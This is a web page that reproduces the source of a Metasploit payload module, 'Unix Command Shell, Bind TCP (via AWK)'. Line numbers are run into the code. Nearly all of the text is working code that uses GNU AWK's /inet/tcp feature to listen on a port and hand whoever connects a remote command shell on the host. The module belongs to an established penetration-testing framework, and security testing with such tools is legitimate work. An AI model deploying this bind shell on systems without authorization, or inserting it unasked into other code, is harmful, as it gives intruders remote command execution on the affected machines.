Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/payloads/singles/cmd/unix/bind_awk.rb
Views: 11779
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##456module MetasploitModule78CachedSize = 140910include Msf::Payload::Single11include Msf::Sessions::CommandShellOptions1213def initialize(info = {})14super(merge_info(info,15'Name' => 'Unix Command Shell, Bind TCP (via AWK)',16'Description' => 'Listen for a connection and spawn a command shell via GNU AWK',17'Author' =>18[19'espreto <robertoespreto[at]gmail.com>',20'Ulisses Castro <uss.thebug[at]gmail.com>'21],22'License' => MSF_LICENSE,23'Platform' => 'unix',24'Arch' => ARCH_CMD,25'Handler' => Msf::Handler::BindTcp,26'Session' => Msf::Sessions::CommandShell,27'PayloadType' => 'cmd',28'RequiredCmd' => 'gawk',29'Payload' =>30{31'Offsets' => { },32'Payload' => ''33}34))35end3637#38# Constructs the payload39#40def generate(_opts = {})41super + command_string42end4344#45# Returns the command string to use for execution46#47def command_string48awkcmd = <<~AWK49awk 'BEGIN{50s=\"/inet/tcp/#{datastore['LPORT']}/0/0\";51do{52if((s|&getline c)<=0)53break;54if(c){55while((c|&getline)>0)print $0|&s;56close(c)57}58} while(c!=\"exit\")59close(s)60}'61AWK62awkcmd.gsub!("\n",'').gsub!(' ', '')63end6465end666768